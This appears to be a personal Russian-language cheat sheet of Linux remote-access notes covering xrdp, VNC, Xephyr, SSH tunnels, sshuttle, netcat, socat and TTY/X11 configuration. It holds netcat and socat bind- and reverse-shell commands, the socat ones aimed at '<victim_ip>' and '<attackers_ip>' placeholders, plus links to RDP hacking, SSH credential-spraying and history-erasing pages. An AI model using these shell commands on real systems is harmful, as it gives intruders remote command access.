ssh username@hostname -Y
export DISPLAY='IP:0.0'
export DISPLAY="127.0.0.1:10.0"

запуск хрома
export PATH="/snap/bin/:$PATH"
echo $DISPLAY
xhost +si:localuser:пользователь
export DISPLAY=:10 && chromium &


https://sevo44.ru/xrdp-terminalnyj-server-linux/#Debian_9
https://hostiq.ua/wiki/install-rdp-server/#2_5
https://wiki.yola.ru/xrdp:xrdp

VPS на Linux с графическим интерфейсом: запускаем сервер RDP на Ubuntu 18.04
Удаленный доступ. Обобщил себе на память.
Ошибка cannot open display в Linux
Docker: запуск графических приложений в контейнерах

FreeBSD 12 xrdp
FreeBSD + xRDP + WINE или Терминальный сервер для 1С в AD
xrdp_keyboard.ini



В пользовательской директории создаем файл .startwm.sh с таким содержимым:



Добавляем в /etc/rc.conf

xrdp_enable="YES"
xrdp_sesman_enable="YES"

И запускаем, service xrdp allstart, которая запустит ещё и сервис xrdp_sessman.

freerdp-shadow
Как установить и запустить RDP сервер в Linux
sudo apt install freerdp2-shadow-x11 winpr-utils

Чтобы запустить RDP сервер вовсе без аутентификации используйте опцию -auth:
freerdp-shadow-cli -auth

Если аутентификация включена, PAM используется с подсистемой X11
чтобы запустить freerdp-shadow с поддержкой NLA необходимо создать файл, в котором будет строка вида:
ПОЛЬЗОВАТЕЛЬ:::ХЕШ:::
Имя пользователя Linux нам известно, для вычисления хеша нужно выполнить команду вида:
winpr-hash -u ПОЛЬЗОВАТЕЛЬ -p ПАРОЛЬ

К примеру, имя пользователя mial, а пароль цифра 2 тогда команда следующая:
winpr-hash -u mial -p 2

Получен хеш:
8f33e2ebe5960b8738d98a80363786b0

Создаём текстовый файл SAM и в него записываем строку
mial:::8f33e2ebe5960b8738d98a80363786b0:::

Теперь запускаем freerdp-shadow-x11 с двумя опциями:
/sam-file:ФАЙЛ — указывает на расположение NTLM SAM файла для NLA аутентификации
/sec:nla — принудительное включение аутентификации по протоколу NLA

Итак, моя команда следующая:
freerdp-shadow-cli /sam-file:SAM /sec:nla

Для того, чтобы делиться не всем экраном, а только его частью, используйте опцию /rect:x,y,w,h. Где:

x,y — координаты верхнего левого угла прямоугольника
w — ширина прямоугольника
h — высота прямоугольника

К примеру, чтобы делиться частью экрана 500×500 пикселей с координатами 200,300:
freerdp-shadow-cli /sam-file:SAM /sec:nla /rect:200,300,500,500

Ошибка freerdp-shadow «client authentication failure: -1»
То необходимо создать файл SAM и запустить freerdp-shadow с опциями /sam-file:SAM /sec:nla как это показано выше.


Xnest Xephyr
https://wiki.archlinux.org/index.php/Xorg
https://www.sysadminwiki.ru/wiki/Удалённый_рабочий_стол_Linux
https://xneur.ru/settings
Удаленный доступ по XDMCP (удаленное подключение к рабочему столу) Ubuntu/Debian
Х из init 3
На третьем уровне инициализации/выполнения (init 3) выполнить:
X -query 10.0.0.111

Чтобы запустить вложенный сеанс другой среды рабочего стола:
$ /usr/bin/Xnest :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
$ Xephyr :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
Это запустит сеанс Window Maker в окне 1024 на 768 в текущем сеансе X.
опция -ac позволяет удалённым клиентам подключаться к вашему X-серверу
$ Xephyr -query localhost -screen 800x600 :1 Если localhost – это XDMCP сервер, 800x600 – требуемое разрешение, а :1 – номер дисплея (можно использовать любой свободный номер)
в одном окне консоли вбить Xephyr :2
в другом xterm -display :2
Xephyr :2 -geometry 1280x1024+0+0 -resizeable &
DISPLAY=:2 fvwm1 &
Xephyr -terminate -query 192.168.1.116 :1 -screen 1280x1024
ssh andy@host.com -XYC “Xephyr :1 -query localhost –screen 800x600”
Xephyr :1 -query 192.168.0.111 -screen 800x600
Xephyr :2 -screen 1024x768+0+0 -resizeable & fluxbox -display :2
Xephyr :2 -geometry 1280x1024+0+0 -resizeable & fluxbox -display :2

XDMCP
Подключение к рабочему столу Linux Ubuntu с использованием XDMCP.
Настройка XDMCP, удаленного подключения к рабочему столу Linux

nano /etc/lightdm/lightdm.conf
Для разрешения TCP-подключений к графическому серверу X11, нужно в файл конфигурации lightdm.conf добавить строку :
xserver-allow-tcp=true

Для разрешения удаленных подключений к менеджеру дисплея нужно добавить секцию
[XDMCPServer]
enabled=true

service lightdm restart
netstat –na | more

XDMCP и принимает входящие подключения на UDP порт 177 (по умолчанию) , а графический сервер (сервер X11 ) – принимает входящие подключения на порт 6000/TCP

Xpra
https://xpra.org/index.html
https://github.com/Xpra-org/xpra
https://wiki.archlinux.org/title/Xpra
https://www.altlinux.org/Xpra
xpra - утилита удаленного запуска графических приложений
https://winswitch.org/downloads/
Учимся переносить запущенные программы с одного компьютера на другой

VNC
TigerVNC
https://docs.slackware.com/howtos:window_managers:vnc
Как настроить и использовать сервер TigerVNC в Linux
sudo apt install tigervnc-standalone-server tigervnc-viewer tigervnc-xorg-extension
vim ~/.vnc/xstartup



vncpasswd # создать пароль для TigerVNC сервера
запуск
vncserver :1 # запустить на 1 виртуальном столе
Пароль для аутентификации на сервере будет взят из файла $HOME/.vnc/passwd

vncserver -list # список запущенных рабочих столов с VNC
vncserver -kill :1 # убить сессию
vncconfig -display :1 -list # список опций VNC
ss -tulp # посмотреть порт запуска
vncviewer -listen 5901 # подключиться
gvncviewer ip_address:1 # адрес:дисплей

x11vns
рецепт 1
Подключаемся к удалённому рабочему столу по VNC на этапе экрана авторизации (GDM, KDM, Lightdm, MDM)

установим x11vnc:
sudo apt-get install x11vnc

Создадим файл с паролем для авторизации:
sudo x11vnc -storepasswd /etc/x11vnc.pass

vnc сервера используют 5900 порт
iptables -A INPUT -p tcp -m tcp --dport 5900 -j ACCEPT
ufw allow 5900

Запустим x11vnc:
sudo x11vnc -display :0 -rfbauth /etc/x11vnc.pass -rfbport 5900 -o /var/log/x11vnc.log

проверим:
vncviewer localhost

service x11vnc start

Быстрая настройка x11vnc
Устанавливаем x11vnc
sudo apt-get install x11vnc

Генерируем пароль для доступа:
x11vnc -storepasswd

При использовании LightDM
После установки x11vnc создайте файл /etc/init/x11vnc.conf, в который добавьте следующий код:



если не работает то
https://qastack.ru/ubuntu/229989/how-to-setup-x11vnc-to-access-with-graphical-login-screen

работающие скрипты:
скрипт гасится сам



нужно гасить pkill x11vnc



запускать как службу
mcedit /lib/systemd/system/x11vnc.service


systemctl daemon-reload
service x11vnc start
service x11vnc status
service x11vnc enable

рецепт 2 попроще, для ubuntu
https://www.crazy-logic.co.uk/projects/computing/how-to-install-x11vnc-vnc-server-as-a-service-on-ubuntu-20-04-for-remote-access-or-screen-sharing

sudo apt-get install lightdm
sudo reboot
sudo apt-get install x11vnc

vi /lib/systemd/system/x11vnc.service



systemctl daemon-reload
systemctl enable x11vnc.service
systemctl start x11vnc.service
systemctl status x11vnc.service


рецепт 3, без systemd
x11vnc -storepasswd "пароль" /etc/x11vnc.pass
sudo chmod ugo+r /etc/x11vnc.pass
sudo -u $USER x11vnc -noxdamage -shared -dontdisconnect -many -noxfixes -rfbauth /etc/x11vnc.pass -auth guess


Как настроить VNC сервер x11vnc

в NetBDS, OpenBSD и FreeBSD:
pkgin install x11vnc
startx -display :0 &
x11vnc -display :0

ошибки
когда light-locker блокирует экран, то видно чёрное окно и не войти
https://bugs.launchpad.net/ubuntu/+source/light-locker/+bug/1287171
https://www.linux.org.ru/forum/admin/12755272
https://www.linux.org.ru/forum/general/13664036/page1#comments
https://github.com/pekmop1024/x11vnc-light-locker/blob/master/usr/local/bin/x11vnc-wrapper

вместо light-locker установить xscreensaver


VNC в веб-браузере
Как получить доступ к удаленному рабочему столу VNC в веб-браузере
качается https://github.com/novnc/noVNC/archive/refs/tags/v1.2.0.tar.gz
в нём есть launch.sh
распаковывается tar -xavf v1.2.0.tar.gz
качается https://github.com/novnc/websockify/archive/refs/tags/v0.11.0.tar.gz в распакованную $HOME/noVNC-1.2.0/utils
распаковывается tar -xavf v1.2.0.tar.gz
переименовывается
mv websockify-0.11.0/ websockify
затем запускается
./utils/launch.sh --vnc 0.0.0.0:5900
распаковать можно куда угодно, например в /opt
открыть в браузере
http://ip_адрес_сервера:6080/vnc.html?host=dit-st-unstable&port=6080
нажать на шестерёнку "Настройки", "Дополнительно", "WebSocket", "Сервер:" - прописать ip_адрес_сервера


VPN
ssh VPN
VPN через SSH
https://www.stunnel.org/
Stunnel на сервере и клиенте

Shellinabox — если вдруг заблокируют SSH
SSH через Xray

Превращаем любой SSH-сервер в полноценный VPN с помощью утилиты sshuttle
sshuttle --dns -r user@ip_сервера_или_доменное_имя 0.0.0.0/0

https://github.com/sshuttle/sshuttle
https://sshuttle.readthedocs.io/en/stable/

pip install sshuttle

создаем скрипт с именем типа vpn.sh:



Здесь eax и 11.22.33.44 нужно заменить на имя пользователя и IP-адрес вашего сервера.

Далее говорим:
chmod u+x ./vpn.sh
sudo ./vpn.sh

… и ждем появления строчки:
client: Connected.

Проверяем, что все работает:
curl https://eax.me/ip/

В ответ должен прийти IP-адрес использованного SSH-сервера. Также проверяем, что используется DNS-сервер, указанный в переменной $DNS:
dig eax.me

В ответ должно прийти что-то вроде:
...
;; Query time: 20 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)

… где 8.8.8.8 — это выбранный нами DNS-сервер. В данном случае это сервер компании Google.

Напоследок вот вам несколько занимательных фактов о sshuttle:

Чтобы все работало, на сервере не требуются ни root, ни sudo;
Утилита не ломается, если попытаться сделать VPN внутри VPN;
Также вы можете использовать ее совместно с OpenVPN или каким-нибудь Tor;

https://github.com/Nyr/openvpn-install
https://github.com/Nyr/wireguard-install
Свой VPN сервер на Wireguard с помощью Docker

OpenVPN
Бесплатный VPN сервер, клиент, и тд
vpn pptp openvpn centos7
настройка клиента openvpn
Генерация ключей OpenVPN

sudo service openvpn start
sudo service openvpn status
sudo service openvpn stop
sudo service openvpn status
ps aux | grep -v grep | grep openvpn

https://www.oracle.com/cloud/free/

proxy
Практические советы, примеры и туннели SSH
https://archive.is/tfGcr
SSH-туннели: практические примеры использования и важные функции
Простой браузерный VPN через SSH

ssh -D localhost:2080 -q -C -N root@IP_СЕРВЕРА -p НЕСТАНДАРТНЫЙ_ПОРТ_SSH
-D localhost:2080: устанавливаем локальный прокси-сервер SOCKS5 на вашем компьютере.

опции
-q: тихий режим (quiet mode).
-C: сжатие данных (compression).
-N: указываем SSH не выполнять удалённые команды.
-f — запускает SSH в фоне (после аутентификации возвращает управление терминалу)
-p ПОРТ: указываем нестандартный порт для подключения к удалённому серверу.

проверка
localhost:~$ netstat -pan | grep 2080

чтобы позволить другим программам в нашей сети подключаться к прокси-сервису через ssh socks-прокси, включая ethernet или wifi
ssh -D 0.0.0.0:8888 user@remoteserver

пример
ssh -fND 7001 пользователь@ip_адрес_сервера
chromium --proxy-server=socks5://localhost:7001
-D 7001 — создаёт динамический (SOCKS) прокси на локальном порту 7001

Ограничения
Трафик через туннель проходит только у тех приложений, которые явно настроены на использование прокси. SOCKS5 работает только с TCP-соединениями, UDP не поддерживается

Чтобы предотвратить утечку через WebRTC в Chromium, добавьте флаг:
chromium --proxy-server=socks5://localhost:7001 --disable-webrtc

ssh -fND 7001 пользователь@ip_адрес_сервера
Затем выполните любую команду через proxychains:
proxychains curl ifconfig.me
Предварительно убедитесь, что в файле /etc/proxychains.conf или ~/.proxychains/proxychains.conf указано:
socks5 127.0.0.1 7001

Работа с сетевыми дисками
Работа с NFS
1. установите nfs-common
sudo apt install nfs-common
2. сделайте точку монтирования
mkdir -p /media/nfs-server
3.
подключите общий ресурс сервера к каталогу mount SERVER-IP-ADDRESS:/SERVER_SHARE_NAME/ media/nfs-server
mount :/volume1/music /media/nfs-server
4. Просмотрите смонтированный каталог.
ls /media/nfs-server

Если вы хотите сделать этот ресурс постоянно смонтированным, вы можете добавить его в свой /etc/fstab, например
SERVER-IP-ADDRESS:/SERVER_SHARE_NAME/media/nfs-server nfs rw 0 0


проверка открытых портов
netstat -ltup; netstat -lntup; netstat -lntupc
ss -lntu; ss -lntup
nmap -n -Pn -sS -sU -p- localhost
lsof -i; lsof -i :80

netcat передача данных, тестирование соединений
Как использовать Netcat для тестирования соединений TCP и UDP
Как пользоваться netcat (nc), ncat
Обратная инженерия сетевого трафика
Полезные трюки при работе с netcat

Чат между узлами
На первом узле (192.168.1.100):
nc -lp 9000
На втором узле:
nc 192.168.1.100 9000

Реверс-шелл
nc -e /bin/bash -lp 4444
соединиться с удаленного узла:
nc 192.168.1.100 4444

веб-сервер для отображения html странички.
while true; do nc -lp 8888 < index.html; done


UDP передать данные
cat ФАЙЛ | ncat -u -C IP-АДРЕС ПОРТ
получить эти данные
ncat -u -l IP-АДРЕС ПОРТ

TCP передать данные
nc хост порт < filename
{ cat ФАЙЛ1 ФАЙЛ2 ФАЙЛ3 ФАЙЛ4; cat;} | ncat -C IP-АДРЕС ПОРТ
{ cat ФАЙЛ{1..4}; cat;} | ncat -C IP-АДРЕС ПОРТ
приём
nc -l порт > filename

копирование зашифрованного диска
https://habr.com/ru/articles/800455/
# Получатель
nc -l 4444 | pbzip2 -d | dd of=/dev/nvme0n1 obs=1M
# Отправитель
pv /dev/nvme0n1 | pbzip2 -9 | nc DESTIP 4444

Как сделать прокси на виртуальном хостинге
локальном компьютере, в одной консоли запускаем прокси:
ncat -vvv -l 34567 --proxy-type http
и в другой консоли запрос через этот прокси:
curl -s --proxy localhost:34567 'https://hackware.ru'


Socat
Сетевой pivoting: понятие, примеры, техники, инструменты

Шелл
Установка слушателя:
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

Подключение к слушателю:
socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Обратный шелл
Установка слушателя:
socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0

Подключение к машине атакующего
socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Размер терминала
По умолчанию размер терминала довольно мал, как вы можете заметить при запуске команды top или редактировании файлов в текстовом редакторе. Вы можете легко изменить это, используя команду stty -a, чтобы получить размер вашего обычного терминала:
stty -a
speed 38400 baud; rows 57; columns 211; line = 0;

Примените нужный размер к вашему терминалу socat:
stty rows 57 cols 211

ссылки
разница между DE и WM, а также работа в голых иксах
скриншоты в иксах и консоли, разрешение экрана в tty
Установка xrdp на CentOS 7

https://debian-handbook.info/browse/ru-RU/stable/sect.remote-login.html
Настройка сервера VNC и RDP совместно с LightDM
VNC в Linux: настройка сервера и клиента
Всё о RDP: от настройки до взлома
sshprank: массовая проверка учётных данных SSH и быстрый сбор SSH баннеров
https://wiki.x2go.org/doku.php
Организуем себе безопасное рабочее место на удаленной виртуалке при помощи x2go
Настройка Ubuntu Linux в качестве терминального сервера x2go
LTSP: Терминальный сервер на Linux
LTSP: Терминальный сервер на Linux
делаем vim удобным
рабочий стол в консоли
изменение времени файлов, удаление истории посещения и команд в linux

Разрешение подобрать своё





чтобы работало при старте



В Xfce в диспетчере настроек "Сеансы и запуск" добавляем приложение и ставим галочку.
или
apt install arandr

http://zarubochki.ru/node/61



заглянуть

для понимания этой разницы нужно сделать следующие действия:
1) Переключись в консоль:
chvt 2
или нажав ctrl+alt+f2
2) Залогинься root (для простоты - можно и обычным пользователем)
3) Запусти X-сервер:
X :9 &
4) Вернись обратно в консоль:
нажав ctrl+alt+f2
5) Выполни
export DISPLAY=:9
и какою-нить графическую утилиту, например
xclock &
export DISPLAY=:9 && xclock &
6) Переключись обратно в X(:9)
нажав alt+f8 - это подойдет для многих дистрибутивов.
Точнее можно глянуть:
ps -fC X | grep ":9"
и нажать
Переключившись увидишь работу графической утилиты без всяких WM и DE.
7) Запусти WM:
перейдя в консоль alt+f2
kwin или metacity или twm или mwm или ... и тд
вернись в X (:9) - как в пункте 6 - и пойми что изменилось с появлением WM
8) Запусти DE:
перейдя в консоль alt+f2
startkde или gnome-session или ... и тд
вернись в X (:9) - как в пункте 6 - и пойми что изменилось с появлением DE

Красоту можно навести командами:
xsetbg /путь/к/красивой/картинке
Консоль запустить:
xterm -g -0-0
часики:
xclock -update 1 200x200-0+0
Приложения закрывать:
xkill

Запуск игр и программ в отдельных иксах:
startx xterm -- :1

запуск сессии
xinit -- :1
startx -- :1
xinit `which xterm` -- :1

сообщение в соседнюю консоль
echo "Привет" > /dev/tty2

usermod -aG audio,video,tty,input пользователь

https://wiki.archlinux.org/title/Xorg_(Русский)
чтобы запустить X через xinit
vi /etc/X11/Xwrapper.config
allowed_users=anybody
needs_root_rights=yes

Отдельная X-сессия на ubuntu 18.04
разрешить пользователю запускать иксы
sudo apt install xserver-xorg-legacy
sudo dpkg-reconfigure xserver-xorg-legacy (выбираем “кто угодно”)
echo "needs_root_rights = yes" | sudo tee --append /etc/X11/Xwrapper.config
sudo gpasswd -a $USER video (добавляем пользователя в группу Video)
sudo gpasswd -a $USER audio (добавляем пользователя в группу Audio)
sudo reboot (компьютер будет перезагружен)
startx "ваша_программа_или_игра" -- :1
https://portwine-linux.ru/category/portwine-linux/

chvt переход в tty без ctrl+alt+F.. блокировка tty
How to change between TTY (virtual terminal) on Linux guest VMs when using a console launched from Prism Element
В Linux соединения с операционной системой могут быть выполнены:
сеанс физического терминала / сеанс консоли
сеанс псевдо-терминала, такой как SSH, xterm (для X-Windows)
сеанс виртуального аппаратного терминала

Чтобы показать идентификацию этих разных соединений, используйте команду «w»:
Обратитесь к столбцу TTY:
tty2 и tty3 относятся к сеансам виртуального терминала
:0 относится к физическому терминалу, или в этом случае консоль, запущенная из Prism Element
pts/0 и pts/2 относятся к сеансам псевдотерминала, который является видимым сеансом терминала (см. столбец FROM: 0), и к удаленному сеансу SSH

выполните в эмуляторе терминала (напр. xterm) sudo chvt 2 чтобы перейти к TTY2, это аналог ctrl+alt+F2 для перехода в /dev/tty2
затем в TTY2 ввести chvt 7 для перехода обратно в графическую консоль

Завершить процесс (kill) tty в Unix/Linux
w
who -la
skill -KILL -v pts/4
pkill -9 -t pts/0
ps -ft pts/0
kill -9 9721
killall -u username
pkill -U username
loginctl kill-user username

https://wiki.archlinux.org/index.php/Xorg#Block_TTY_access
Чтобы заблокировать доступ tty в X, добавьте следующее в xorg.conf
Section "ServerFlags"
    Option "DontVTSwitch" "True"
EndSection

Запретить пользователю убивать X
добавьте в xorg.conf следующее:
Section "ServerFlags"
    Option "DontZap"      "True"
EndSection


Как заблокировать сеансы виртуальной консоли в Linux
sudo apt-get install vlock
a — Блокировать все сеансы виртуальной консоли,
c — заблокировать текущий сеанс виртуальной консоли,
n — Переключиться на новую пустую консоль, прежде чем блокировать все сеансы,
s — Отключить механизм ключа SysRq,
t — указать тайм-аут для плагинов заставки,
h — Показать раздел справки,
v — Показать версию.


для подключения к pty следует использовать клиент ttysnoop
ttysnoop /dev/pts/0
tty -s && echo "Внутри tty"

openvt — запустить программу на новом виртуальном терминале
openvt [-c номер_vt] [-s] [-u] [-l] [-v] [--] команда параметры_команды
openvt -f -c 9 -- eсho "12345"

https://serverfault.com/questions/19634/how-to-reconnect-to-a-disconnected-ssh-session
Как повторно подключиться к отключенному сеансу SSH
tty
apt install reptyr
ps -aux |grep 'pts/3'
reptyr -T 6447
_______________________________________________________________________

1) X-ов можно хоть сотню запустить - главное что у них разный ":цифра" - номер дисплея.
9) Для kwin, metacity и тд - тоже нужно чтобы задана была переменная DISPLAY - раз уж пошел в другую консоль, задай там эту переменную тоже.

_________________________________________________________________________

клиент-серверная архитектура X11 позволяет сделать это
ssh -X remotehost xterm

https://wiki.archlinux.org/index.php/Xorg
https://xneur.ru/settings
Чтобы запустить вложенный сеанс другой среды рабочего стола:
$ /usr/bin/Xnest :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
$ Xephyr :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
Это запустит сеанс Window Maker в окне 1024 на 768 в текущем сеансе X.
опция -ac позволяет удалённым клиентам подключаться к вашему X-серверу
$ Xephyr -query localhost -screen 800x600 :1 Если localhost – это XDMCP сервер, 800x600 – требуемое разрешение, а :1 – номер дисплея (можно использовать любой свободный номер)
в одном окне консоли вбить Xephyr :2
в другом xterm -display :2
Xephyr :2 -screen 1024x768+0+0 -resizeable & fluxbox -display :2
Xephyr :2 -geometry 1280x1024+0+0 -resizeable & fluxbox -display :2
DISPLAY=:2 fvwm1 &

узнать № дисплея сеанса:
echo $DISPLAY
cat /proc/$$/environ | tr '\0' '\n' | grep '^DISPLAY='

запуск хрома из snap (сходный механизм и у других приложений)
xhost +si:localuser:root
xhost +si:localuser:пользователь

export PATH="/snap/bin/:$PATH"
echo $DISPLAY
xhost +si:localuser:пользователь
export DISPLAY=:10 && chromium &

nano $HOME/bin/chromium.sh



chmod +x $HOME/bin/chromium.sh

https://linux-notes.org/utilita-xhost-v-unix-linux/
vi ~/.xinitrc
#!/bin/bash
xhost +si:localuser:root &
xhost +si:localuser:пользователь &

ошибка при запуске с sudo или su
"Не удалось подключиться к: В соединении отказано Ошибка инициализации GTK."
export XAUTHORITY=$HOME/.Xauthority
sudo программа

раскладка
setxkbmap -layout "us,ru" -option "alt_shift_toggle,grp_led:scroll"

setxkbmap -model pc105 -layout "us,ru" -variant ",winkeys" -option "grp:alt_shift_toggle"

Параметры "XkbOptions"
Параметры "XkbOptions"
Варианты переключателей между языками в файле /etc/X11/xorg.conf
grp:toggle - переключение правым Alt;
grp:shift_toggle - двумя клавишами shift;
grp:ctrl_shift_toggle - ctrl+shift;
grp:alt_shift_toggle - alt+shift;
grp:ctrl_alt_toggle - ctrl+alt;
grp:caps_toggle - переключение по CapsLock;
grp:lwin_toggle - переключение по левой "Win" клавише на Windows клавиатуре (для X Window старше 4.2);
grp:rwin_toggle - переключение по правой "Win" клавише на Windows клавиатуре (для X Window старше 4.2);
grp:menu_toggle - переключение по клавише "Контекстное меню" на Windows клавиатуре (для X Window старше 4.2);
grp:lctrl_toggle переключение по левой клавише Control
grp:rctrl_toggle переключение по правой клавише Control
grp:switch - переключение по правому Alt только на момент нажатия
grp:lwin_switch - переключение по левой клавише Windows только на момент нажатия
grp:rwin_switch - переключение по правой клавише Windows только на момент нажатия
grp:win_switch - переключение по любой клавише Windows только на момент нажатия
Возможные значения grp_led:
grp_led - использовать индикаторы на клавиатуре для показания изменения группы
grp_led:num - индикатор Num_Lock показывает изменения группы
grp_led:caps - индикатор Caps_Lock показывает изменение группы
grp_led:scroll - индикатор Scroll_Lock показывает изменение группы


:: /etc/X11/xorg.conf ::
...
Section "InputDevice"
...
Option "XkbOptions" "grp:switch,grp:caps_toggle,grp_led:scroll"
...
EndSection
...



локаль

echo 'export LANG=en_US.utf8' >> ~/.profile
source ~/.profile

Локаль Системы По Умолчанию
https://www.shellhacks.com/ru/linux-define-locale-language-settings/
Ubuntu-18.04 и CentOS-7
localectl set-locale LANG=en_US.utf8

Ubuntu-14.04
/etc/default/locale
LANG="en_US.utf8"

CentOS-6
/etc/sysconfig/i18n
LANG="en_US.utf8"


export LANG = "ru_RU.UTF-8"
export LC_ALL = "ru_RU.UTF-8"
export LC_COLLATE = "ru_RU.UTF-8 "


разрешение экрана в tty

grep vga /proc/cmdline
grep -ir vga /etc/modprobe.d/
Вывод обеих команд должен быть пустым
sudo apt-get install v86d

hwinfo --framebuffer

nano /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="vga=795"
GRUB_GFXMODE=1280x1024x32
GRUB_GFXPAYLOAD_LINUX=keep

sudo update-grub

lsmod | grep drm

sudo apt install fbset
vi /etc/fb.modes
fbset --test
fbset --help
fbset -xres 1280 -yres 1024 -depth 32
mplayer video.avi -vo fbdev2 -bpp 32


xrandr
Настройка основного монитора в Ubuntu без xrandr
xrandr --query # Возвращает список моих мониторов
xrandr --output <monitor identifier> --primary # установить основной

пример команды, для hdmi
xrandr --output eDP-1 --auto --output HDMI-1 --auto --same-as eDP-1


ssh
установка XRDP, VNC и SSH на Ubuntu и Debian
$ sudo apt install openssh-server
$ sudo systemctl enable sshd

$ ssh user@192.168.88.10
$ export DISPLAY=:0
$ nohup chromium "ya.ru"
$ ssh 192.168.0.100 'DISPLAY=:0 nohup vlc $HOME/Музыка/04\ Kadavergehorsam.mp3
$ ssh 192.168.0.100 'DISPLAY=:0 nohup notify-send "Hello" "World"'
$ ssh пользователь@комп 'команда1; команда2; команда3'
$ ssh root@192.168.88.10 'bash -s' < script.sh
$ ssh root@192.168.88.10 'uptime; df -h; free -m | cat /proc/loadavg'
$ ssh root@192.168.88.10 'reboot'
$ ssh user@192.168.88.10 "bash -s -- $args" < "$script"

Запуск графических приложений через SSH (X11Forwarding)
Настройка сервера
/etc/ssh/sshd_config
...
X11Forwarding yes
...
Перезагрузка
/etc/init.d/sshd restart

Настройка клиента
/etc/ssh/ssh_config
...
ForwardX11 yes

Запуск
Заходим на удаленный хост и потом запускаем приложение kopete

ssh -XC user1@remotehost
xterm
Сразу запустить приложение xterm

ssh -XC user1@remotehost "xterm"
Опции:
X : перенаправлять графический вывод
С : компрессия передаваемых данных

Подключение к рабочему столу Linux Ubuntu с использованием XDMCP.
nano /etc/lightdm/lightdm.conf 
Для разрешения TCP-подключений к графическому серверу X11, нужно в файл конфигурации lightdm.conf добавить строку :
xserver-allow-tcp=true

Для разрешения удаленных подключений к менеджеру дисплея нужно добавить секцию 
[XDMCPServer]
enabled=true

service lightdm restart 

netstat –na | more 

XDMCP и принимает входящие подключения на UDP порт 177 (по умолчанию) , а графический сервер (сервер X11 ) – принимает входящие подключения на порт 6000/TCP



Как "освободить" клавиши Ctrl+C, Ctrl+V, Ctrl+X в терминале
Вот какие действия обычно поддерживает любой Linux-терминал:

  • intr - Послать сигнал прерывания текущего процесса

  • quit - Послать сигнал выхода

  • erase - Удалить последний введенный символ

  • kill - Удалить текущую строку

  • eof - Послать конец файла (завершить ввод)

  • eol - Конец строки

  • eol2 - Альтернативный символ конца строки (Не-POSIX)

  • swtch - Переключиться на другой уровень оболочки (Не-POSIX)

  • start - Запустить вывод далее, если он был приостановлен

  • stop - Приостановить вывод

  • susp - Послать сигнал остановки терминала

  • dsusp - Послать сигнал остановки терминала после сброса ввода (Не-POSIX)

  • rprnt - Перерисовать текущую строку (Не-POSIX)

  • werase - Удалить последнее введенное слово (Не-POSIX)

  • lnext - Протолкнуть в ввод следующий символ, даже если это специальный символ


Чтобы узнать, к каким комбинациям клавиш привязаны действия, можно дать команду:
# stty -a
Сия команда выведет на консоль примерно такой текст:
speed 38400 baud; rows 35; columns 110; line = 0;
intr = ^C; quit = ^; erase = ^?; kill = ^U; ....

из него видно, что заняты комбинации клавиш Ctrl+C (^C) и Ctrl+V (^V) (а Ctrl+X, кстати, свободна).

Если писать точнее, то мы видим, что:
При нажатии комбинации Ctrl+C происходит действие intr. Действие intr означает отправку сигнала SIGINT, который сигнализирует консольной программе что нужно завершить работу.
При нажатии комбинации Ctrl+V происходит действие lnext. Это действие означает, что следующий вводимый символ надо воспринимать как символ, а не как команду (Последовательное нажатие Ctrl+V и Ctrl+A протолкнет в терминал символ ^A, имеющий код 01h).
Что мы должны сделать в такой ситуации, чтобы освободить Ctrl+C и Ctrl+V? Вначале подумать, а нужны ли нам действия intr и lnext. Действие intr вроде как нужно. А возникала ли у вас хоть раз необходимость в действии lnext? Нет? Значит, ненужно.
Почитав невнятную документацию по программе stty, кое-как можно понять, что для освобождения комбинации Ctrl+V нужно просто удалить привязанное к комбинации действие lnext. Для этого нужно воспользоваться командой:
# stty lnext undef

stty может перенастраиваться только на 26 букв латинского алфавита (и, возможно на некоторые знаки препинания), которые можно задавать десятичными кодами 1-26. Например, команда "stty intr 10" задаст для действия intr комбинацию Ctrl+J, т.к. буква J - десятая буква в латинском алфавите.
настроим действие intr на комбинацию Ctrl+Q (ибо Q - это "quit", "выход").
Обратите внимание, что команда "stty -a" показывает, что Ctrl+Q сопоставлено с действием start. Это действие вызывает команду "продолжать вывод на теринал после приостановки вывода" (приостановка вывода делается с помощью действия stop клавишами Ctrl+S).

Сначала нужно освободить комбинацию клавиш Ctrl+Q от действия start
# stty start undef

Затем выполняем команду:
# stty intr ^Q

и после нее, сразу, прерывание программы будет работать по Ctrl+Q (вместо традиционного для консоли Ctrl+C). Работу комбинации Ctrl+Q можно проверить на любой подходящей программе cat, top, и т.д.
Теперь вышеуказанные команды мы можем поместить в файл .bashrc в домашней директории, и терминал с этого момента будет запускаться со свободными комбинациями Ctrl+C и Ctrl+V.

https://gitlab.freedesktop.org/xorg/xserver
http://ftp.xfree86.org/pub/XFree86/
https://gitlab.freedesktop.org/wayland/wayland
https://github.com/canonical/mir
https://github.com/ghaerr/microwindows/
https://github.com/sidorares/node-x11

The Linux Graphics Stack
Графический стек Linux
Что придет на замену X Window System?
Wayland на замену X Window System
Вперед в будущее: Wayland против X11

Виртуальные твари и места их обитания: прошлое и настоящее TTY в Linux
Оболочка и терминал Unix — это одно и то же?
Hello, World! Глубокое погружение в Терминалы
Linux: Difference between /dev/console , /dev/tty and /dev/tty0
Глава 18, TTY драйверы
Команды управления терминалом
Text-Terminal-HOWTO
Хрестоматия по программированию на Си в Unix 6.4. Сигналы.
Сетевые соединения X11

установка XRDP, VNC и SSH на Ubuntu и Debian.
скриншоты в иксах и консоли, разрешение экрана в tty
рабочий стол в консоли

site themes

Dec. 4th, 2011 05:52 pm



посмотреть
freedesktop.org


openDesktop.org :
Social Desktop

http://hive01.com/projects/

linux-apps.com Software and Apps for Linux
linux-games.org Games for Linux
app-addons.org Free Addons for your Applications
free-artwork.org Free Images, Paintings, Drawings, Cliparts
historical-look.org Eyecandy from the Past

KDE Store New applications for the KDE-Desktop
KDE-Apps.org Applications for the KDE-Desktop
GTK-Apps.org Applications using the GTK Toolkit
GnomeFiles.org Applications for GNOME
MeeGo-Central.org Applications for MeeGo
